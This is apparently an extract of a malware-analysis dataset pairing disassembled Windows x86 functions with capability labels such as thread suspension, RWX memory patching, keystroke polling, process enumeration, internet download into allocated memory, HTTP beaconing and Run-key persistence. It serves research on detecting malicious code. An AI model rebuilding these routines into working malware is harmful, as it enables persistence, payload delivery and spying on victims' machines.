joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1003bf40
Capabilities:
Enumerate threads
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x10054040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x28], edx
push edi
xor ebx, ebx
push ebx
push 4
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x1003c0c8
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x1c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x1003c057
mov ebx, 1
cmp dword [ebp - 0x20], 0x10
jb 0x1003c01a
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 0x14], eax
jne 0x1003c01a
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [ebp - 0x18], eax
je 0x1003c01a
mov edx, dword [esi]
test edx, edx
jne 0x1003bfe6
push 0x200
push edx
push dword [0x10055184]
mov dword [esi + 4], 0x80
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edx, eax
mov dword [esi], edx
test edx, edx
je 0x1003c03f
jmp 0x1003c00e
mov eax, dword [esi + 4]
cmp dword [esi + 8], eax
jb 0x1003c00e
add eax, eax
mov dword [esi + 4], eax
shl eax, 2
push eax
push edx
push 0
push dword [0x10055184]
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov edx, eax
test edx, edx
je 0x1003c03f
mov dword [esi], edx
mov ecx, dword [esi + 8]
mov eax, dword [ebp - 0x18]
mov dword [edx + ecx*4], eax
inc dword [esi + 8]
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x1c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x1003bfa1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x1003c057
mov eax, dword [esi]
xor ebx, ebx
test eax, eax
je 0x1003c057
push eax
push ebx
push dword [0x10055184]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [esi], ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x1003c0c8
cmp dword [esi], 0
je 0x1003c0b5
xor ebx, ebx
cmp dword [esi + 8], ebx
jbe 0x1003c0b5
xor ecx, ecx
mov dword [ebp - 0x24], ecx
mov eax, dword [esi]
push dword [eax + ecx]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
test edi, edi
je 0x1003c0a6
push edi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push dword [ebp + 8]
mov edx, dword [ebp - 0x28]
mov ecx, edi
call fcn.1003bdd0
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x24]
inc ebx
add ecx, 4
mov dword [ebp - 0x24], ecx
cmp ebx, dword [esi + 8]
jb 0x1003c073
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100462db
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, 9
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100462db
mov esp, ebp
pop ebp
ret
Function at 0x1003c0e0
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, ecx
cmp dword [edi], 0
je 0x1003c144
push ebx
xor ebx, ebx
cmp dword [edi + 8], ebx
jbe 0x1003c133
xor ecx, ecx
mov dword [ebp - 4], ecx
push esi
nop word [eax + eax]
mov eax, dword [edi]
push dword [eax + ecx]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov esi, eax
test esi, esi
je 0x1003c123
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
inc ebx
add ecx, 4
mov dword [ebp - 4], ecx
cmp ebx, dword [edi + 8]
jb 0x1003c100
pop esi
push dword [edi]
push 0
push dword [0x10055184]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop ebx
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x1003c150
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x10054040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
imul esi, ecx, 0x2c
mov ebx, edx
push edi
add esi, dword [0x10055420]
mov eax, dword [esi]
mov cl, byte [esi + 0x14]
and cl, 1
lea edi, [eax - 5]
cmove edi, eax
movzx eax, cl
lea ecx, [ebp - 8]
push ecx
push 0x40
lea eax, [eax*2 + 5]
push eax
push edi
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1003c1b1
pop edi
pop esi
mov eax, 0xa
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100462db
mov esp, ebp
pop ebp
ret
test ebx, ebx
je 0x1003c1d2
mov byte [edi], 0xe9
mov eax, dword [esi + 4]
sub eax, edi
sub eax, 5
mov dword [edi + 1], eax
test byte [esi + 0x14], 1
je 0x1003c1f3
mov eax, dword [esi]
mov word [eax], 0xf9eb
jmp 0x1003c1f3
mov eax, dword [esi + 0xc]
test byte [esi + 0x14], 1
mov dword [edi], eax
je 0x1003c1ed
mov ax, word [esi + 0x10]
mov word [edi + 4], ax
mov al, byte [esi + 0x12]
mov byte [edi + 6], al
jmp 0x1003c1f3
mov al, byte [esi + 0x10]
mov byte [edi + 4], al
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push dword [ebp - 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push dword [ebp - 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov cl, bl
xor eax, eax
add cl, cl
shl bl, 2
xor cl, byte [esi + 0x14]
and cl, 2
xor cl, byte [esi + 0x14]
xor bl, cl
and bl, 4
xor bl, cl
mov ecx, dword [ebp - 4]
pop edi
mov byte [esi + 0x14], bl
xor ecx, ebp
pop esi
pop ebx
call fcn.100462db
mov esp, ebp
pop ebp
ret
Function at 0x1003cb30
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub dword [ebp + 0xc], 1
jne 0x1003cb5c
mov eax, dword [ebp + 8]
push 0
push 0
push eax
push 0x1003ca70
push 0
push 0
mov dword [0x10055270], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop ebp
ret 0xc

Function at 0x1003d230
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x30
movss xmm0, dword [0x10051618]
lea edx, [esp + 0x30]
push esi
mov esi, dword [0x100552cc]
push edi
sub esp, 0xc
movss dword [esp + 0x14], xmm0
mov ecx, esp
mov dword [esp + 0x30], 0x430
lea edi, [esp + 0x30]
mov dword [esp + 0x34], 0x114
mov dword [esp + 0x38], 8
push ecx
push edx
push edi
mov dword [esp + 0x48], 0x14
mov dword [esp + 0x4c], 0
call fcn.10044b20
lea ecx, [esi + 0x81aea8]
call fcn.1003cf30
mov esi, dword [0x100552cc]
lea edx, [esp + 0x24]
mov ecx, esp
mov dword [esp + 0x24], 0x278
mov edi, eax
mov dword [esp + 0x28], 8
push ecx
lea eax, [esp + 0x34]
mov dword [esp + 0x30], 0
push eax
push edx
call fcn.10044b20
lea ecx, [esi + 0x81aea8]
call fcn.1003cf30
mov esi, dword [0x100552cc]
lea edx, [esp + 0x18]
mov ecx, esp
mov dword [esp + 0x1c], eax
push ecx
lea eax, [esp + 0x20]
mov dword [esp + 0x1c], 0x278
push eax
push edx
call fcn.10044b20
lea ecx, [esi + 0x81aea8]
call fcn.1003cf30
add esp, 0xc
mov esi, eax
push 0x54
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x1003d31f
movss xmm0, dword [0x10051680]
jmp 0x1003d334
push 0x47
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x1003d33a
movss xmm0, dword [0x10051600]
movss dword [esp + 8], xmm0
push 0xa0
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x1003d398
test edi, edi
je 0x1003d398
mov eax, dword [0x100551b4]
test eax, eax
je 0x1003d398
test esi, esi
je 0x1003d398
cmp dword [esi], 0
je 0x1003d398
movss xmm1, dword [esp + 8]
mulss xmm1, dword [eax + 0xd0]
movss xmm0, dword [edi + 0x30]
movss xmm2, dword [eax + 0xd4]
mulss xmm2, dword [esp + 8]
subss xmm0, xmm1
movss dword [edi + 0x30], xmm0
movss xmm0, dword [edi + 0x34]
subss xmm0, xmm2
movss dword [edi + 0x34], xmm0
push 0x20
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x1003d3c2
test edi, edi
je 0x1003d3c2
test esi, esi
je 0x1003d3c2
cmp dword [esi], 0
je 0x1003d3c2
movss xmm0, dword [esp + 8]
addss xmm0, dword [edi + 0x38]
movss dword [edi + 0x38], xmm0
push 0x14
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x1003d3f6
mov eax, dword [esp + 0x10]
test eax, eax
je 0x1003d3f6
test esi, esi
je 0x1003d3f6
cmp dword [esi], 0
je 0x1003d3f6
movss xmm0, dword [eax + 0x12c]
subss xmm0, dword [esp + 8]
movss dword [eax + 0x12c], xmm0
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1003d400
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x18
movss xmm0, dword [0x10051618]
lea edx, [esp + 0x18]
push esi
mov esi, dword [0x100552cc]
push edi
sub esp, 0xc
movss dword [esp + 0x14], xmm0
mov ecx, esp
mov dword [esp + 0x20], 0x278
lea edi, [esp + 0x20]
mov dword [esp + 0x24], 8
mov dword [esp + 0x28], 0
push ecx
push edx
push edi
call fcn.10044b20
lea ecx, [esi + 0x81aea8]
call fcn.1003cf30
mov esi, dword [0x100552cc]
lea edx, [esp + 0x18]
mov ecx, esp
mov dword [esp + 0x18], 0x278
mov edi, eax
lea eax, [esp + 0x1c]
push ecx
push eax
push edx
call fcn.10044b20
lea ecx, [esi + 0x81aea8]
call fcn.1003cf30
mov esi, dword [sym.imp.USER32.dll_GetAsyncKeyState]
add esp, 0xc
mov dword [esp + 0x10], eax
push 0x54
call esi
test ax, ax
je 0x1003d4a4
movss xmm0, dword [0x10051680]
jmp 0x1003d4b5
push 0x47
call esi
test ax, ax
je 0x1003d4bb
movss xmm0, dword [0x10051600]
movss dword [esp + 8], xmm0
test edi, edi
je 0x1003d4db
movss xmm0, dword [edi + 0x12c]
xorps xmm1, xmm1
comiss xmm1, xmm0
jbe 0x1003d4db
mulss xmm0, xmm1
movss dword [edi + 0x12c], xmm0
push 0x14
call esi
test ax, ax
je 0x1003d50b
test edi, edi
je 0x1003d50b
mov eax, dword [esp + 0x10]
test eax, eax
je 0x1003d50b
cmp dword [eax], 0
je 0x1003d50b
movss xmm0, dword [edi + 0x12c]
subss xmm0, dword [esp + 8]
movss dword [edi + 0x12c], xmm0
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x401fc0
Capabilities:
Check os version
Get system information on windows

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0xc4
push 0x9c
push 0
lea eax, [ebp - 0x2c]
push eax
call fcn.00401940
add esp, 0xc
push 0x24
push 0
lea ecx, [ebp - 0x50]
push ecx
call fcn.00401940
add esp, 0xc
mov dword [ebp - 0x2c], 0x9c
cmp dword [0x407ab0], 1
jne 0x402021
push str.GetNativeSystemInfo
push 0x40649c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp + 0x70], eax
lea edx, [ebp - 0x50]
push edx
call dword [ebp + 0x70]
jmp 0x40202b
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea ecx, [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x28], 5
jne 0x402055
cmp dword [ebp - 0x24], 0
jne 0x402055
push str.Windows_2000
mov edx, dword [ebp + 0x7c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
cmp dword [ebp - 0x28], 5
jne 0x402075
cmp dword [ebp - 0x24], 1
jne 0x402075
push str.Windows_XP
mov eax, dword [ebp + 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
cmp dword [ebp - 0x28], 5
jne 0x40210c
cmp dword [ebp - 0x24], 2
jne 0x40210c
movzx ecx, byte [ebp + 0x6e]
cmp ecx, 1
jne 0x4020af
movzx edx, word [ebp - 0x50]
cmp edx, 9
jne 0x4020af
push str.Windows_XP_Professional_x64
mov eax, dword [ebp + 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
push 0x59
call dword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
jne 0x4020cf
push str.Windows_Server_2003
mov ecx, dword [ebp + 0x7c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
movzx edx, word [ebp + 0x6c]
and edx, 0x8000
jne 0x4020ef
push str.Windows_Home_Server
mov eax, dword [ebp + 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
push 0x59
call dword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
je 0x40210c
push str.Windows_Server_2003_R2
mov ecx, dword [ebp + 0x7c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
cmp dword [ebp - 0x28], 6
jne 0x40214c
cmp dword [ebp - 0x24], 0
jne 0x40214c
movzx edx, byte [ebp + 0x6e]
cmp edx, 1
jne 0x402132
push str.Windows_Vista
mov eax, dword [ebp + 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
movzx ecx, byte [ebp + 0x6e]
cmp ecx, 1
je 0x40214c
push str.Windows_Server_2008
mov edx, dword [ebp + 0x7c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
cmp dword [ebp - 0x28], 6
jne 0x40218a
cmp dword [ebp - 0x24], 1
jne 0x40218a
movzx eax, byte [ebp + 0x6e]
cmp eax, 1
je 0x402172
push str.Windows_Server_R2
mov ecx, dword [ebp + 0x7c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
movzx edx, byte [ebp + 0x6e]
cmp edx, 1
jne 0x40218a
push str.Windows_7
mov eax, dword [ebp + 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
add ebp, 0x74
mov esp, ebp
pop ebp
ret
Function at 0x402200
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
push 0x128
push 0
lea eax, [ebp - 0x140]
push eax
call fcn.00401940
add esp, 0xc
mov dword [ebp - 0x140], 0x128
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x140]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call sub.KERNEL32.dll_Process32First
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0x1000
mov eax, dword [ebp - 0xc]
push eax
push 8
mov ecx, dword [0x407a4c]
push ecx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 0xc]
push edx
push 0
mov eax, dword [ebp - 8]
push eax
call fcn.00401940
add esp, 0xc
mov dword [ebp - 0x18], 0
push 0x104
push 0
lea ecx, [ebp - 0x244]
push ecx
call fcn.00401940
add esp, 0xc
lea edx, [ebp - 0x11c]
push edx
push 0x40656c
lea eax, [ebp - 0x244]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea ecx, [ebp - 0x244]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0xc]
jbe 0x402324
mov eax, dword [ebp - 4]
push eax
push 8
mov ecx, dword [0x407a4c]
push ecx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 4]
push edx
push 0
mov eax, dword [ebp - 0x10]
push eax
call fcn.00401940
add esp, 0xc
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 8]
push eax
push 8
mov ecx, dword [0x407a4c]
push ecx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edx, dword [ebp - 4]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x244]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp dword [ebp - 0x18], 0
je 0x402345
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x140]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x40227b
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x4024b0
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x35c
push 0
push 0x84200000
push 0
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [0x407ab4]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x1c], eax
push 0x40
push 0
lea edx, [ebp - 0x5c]
push edx
call fcn.00401940
add esp, 0xc
push 0x3f
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x15c]
push ecx
call fcn.00401290
add esp, 0xc
lea edx, [ebp - 0x5c]
push edx
lea eax, [ebp - 0x15c]
push eax
call fcn.00402670
add esp, 8
test eax, eax
jne 0x40251b
xor eax, eax
jmp 0x402669
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x10], ecx
push str.response
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp - 0x10]
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.00402450
add esp, 8
mov edx, dword [ebp - 0x18]
push edx
push 0
mov eax, dword [0x407a4c]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 8], eax
push 4
push 0x3000
mov ecx, dword [ebp - 0x18]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
push 0x200
push 0
lea edx, [ebp - 0x35c]
push edx
call fcn.00401940
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push 0x200
lea ecx, [ebp - 0x35c]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x402606
cmp dword [ebp - 0xc], 0
je 0x402606
mov eax, dword [ebp - 0xc]
push eax
lea ecx, [ebp - 0x35c]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.00401980
add esp, 0xc
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 0xc]
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], 0
push 0x200
push 0
lea edx, [ebp - 0x35c]
push edx
call fcn.00401940
add esp, 0xc
jmp 0x40259a
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.004016f0
add esp, 0x10
mov dword [ebp - 4], eax
push 5
mov edx, dword [ebp - 4]
push edx
push 0x407340
mov eax, dword [ebp - 0x14]
push eax
call fcn.004014d0
add esp, 0x10
mov ecx, dword [ebp - 8]
push ecx
push 0
mov edx, dword [0x407a4c]
push edx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 4]
mov dword [ecx], edx
mov eax, dword [ebp - 0x14]
mov esp, ebp
pop ebp
ret
Function at 0x4027d0
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push 0x100
lea eax, [ebp - 0x120]
push eax
call fcn.00402b30
add esp, 8
mov dword [ebp - 0xc], 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x120]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x40281f
push 0xea60
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4027f4
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov edx, 1
test edx, edx
je 0x40295e
push 0x50
mov eax, dword [ebp - 4]
mov ecx, dword [eax*4 + 0x406648]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call fcn.004029f0
add esp, 0xc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x40286e
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
jmp 0x402834
mov ecx, dword [ebp - 4]
mov edx, dword [ecx*4 + 0x406650]
push edx
mov eax, dword [ebp - 8]
push eax
call fcn.00402b00
add esp, 8
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x4028a3
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x402834
cmp dword [ebp - 0x10], 0
je 0x4028af
cmp dword [ebp - 0x14], 0
jne 0x4028d4
cmp dword [ebp - 0x10], 0
je 0x4028be
mov dword [ebp - 0x18], 0
jmp 0x4028c5
mov dword [ebp - 0x18], 1
mov eax, dword [ebp - 0x18]
push eax
call fcn.00402970
add esp, 4
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx*4 + 0x406650]
push edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax*4 + 0x406648]
push ecx
call fcn.00402a50
add esp, 8
mov dword [ebp - 0x20], eax
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp dword [ebp - 0x20], 0
jne 0x40291a
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
jmp 0x402959
mov dword [ebp - 0x10], 1
mov dword [ebp - 0x14], 0
mov edx, dword [0x407aa8]
push edx
push 8
mov eax, dword [0x407a4c]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [0x407a3c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0xffffffffffffffff
mov edx, dword [0x407a38]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x402834
mov esp, ebp
pop ebp
ret

Function at 0x402b30
Capabilities:
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
call fcn.00401940
add esp, 0xc
lea edx, [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
push 0
call sub.urlmon.dll_ObtainUserAgentString
mov ecx, 1
imul edx, ecx, 0
mov eax, dword [ebp + 8]
movsx ecx, byte [eax + edx]
test ecx, ecx
jne 0x402b76
push str.Mozilla_4.0_compatible__MSIE_7.0b__Windows_NT_6.0_
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop ebp
ret
Function at 0x402c20
Capabilities:
Get common file path
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
push 5
lea eax, [ebp - 0x14]
push eax
call fcn.00401340
add esp, 8
lea ecx, [ebp - 0x21c]
push ecx
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea edx, [ebp - 0x14]
push edx
lea eax, [ebp - 0x21c]
push eax
call fcn.00403090
add esp, 8
push 0x4075e0
push 0x407800
call fcn.00403070
add esp, 8
call fcn.00402f30
mov dword [ebp - 8], 0
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 4]
push edx
push 0
push 0xf003f
push 0
push 0
push 0
push 0x406754
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 0x407a80
push 0x406728
mov eax, dword [ebp - 4]
push eax
call fcn.004030f0
add esp, 0xc
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea ecx, [ebp - 4]
push ecx
push 0xf003f
push 0
push 0x406774
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x402d2e
push 0x4075e0
push 0x407580
mov edx, dword [ebp - 4]
push edx
call fcn.004030f0
add esp, 0xc
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push 0x4067a4
push 0x80000003
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0x4075e0
push 0x407580
mov ecx, dword [ebp - 4]
push ecx
call fcn.004030f0
add esp, 0xc
jmp 0x402d5f
lea edx, [ebp - 4]
push edx
push 0xf003f
push 0
push 0x406774
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0x4075e0
push 0x407580
mov eax, dword [ebp - 4]
push eax
call fcn.004030f0
add esp, 0xc
mov esp, ebp
pop ebp
ret

Function at 0x402ee0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0x25
push 0x25
push 0
push 0x407a80
call fcn.00401940
add esp, 0xc
lea eax, [ebp - 4]
push eax
push 0x407a80
lea ecx, [ebp - 8]
push ecx
push 0
push 0x406728
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov esp, ebp
pop ebp
ret

Function at 0x403090
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push 0x208
push 0
push 0x4075e0
call fcn.00401940
add esp, 0xc
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0x4067dc
push 0x4075e0
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
push 0x4075e0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov edx, dword [ebp + 0xc]
push edx
push 0x4075e0
push 0x4067e8
push 0x4075e0
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
pop ebp
ret

Function at 0x4030f0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 0x10]
push edx
push 1
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret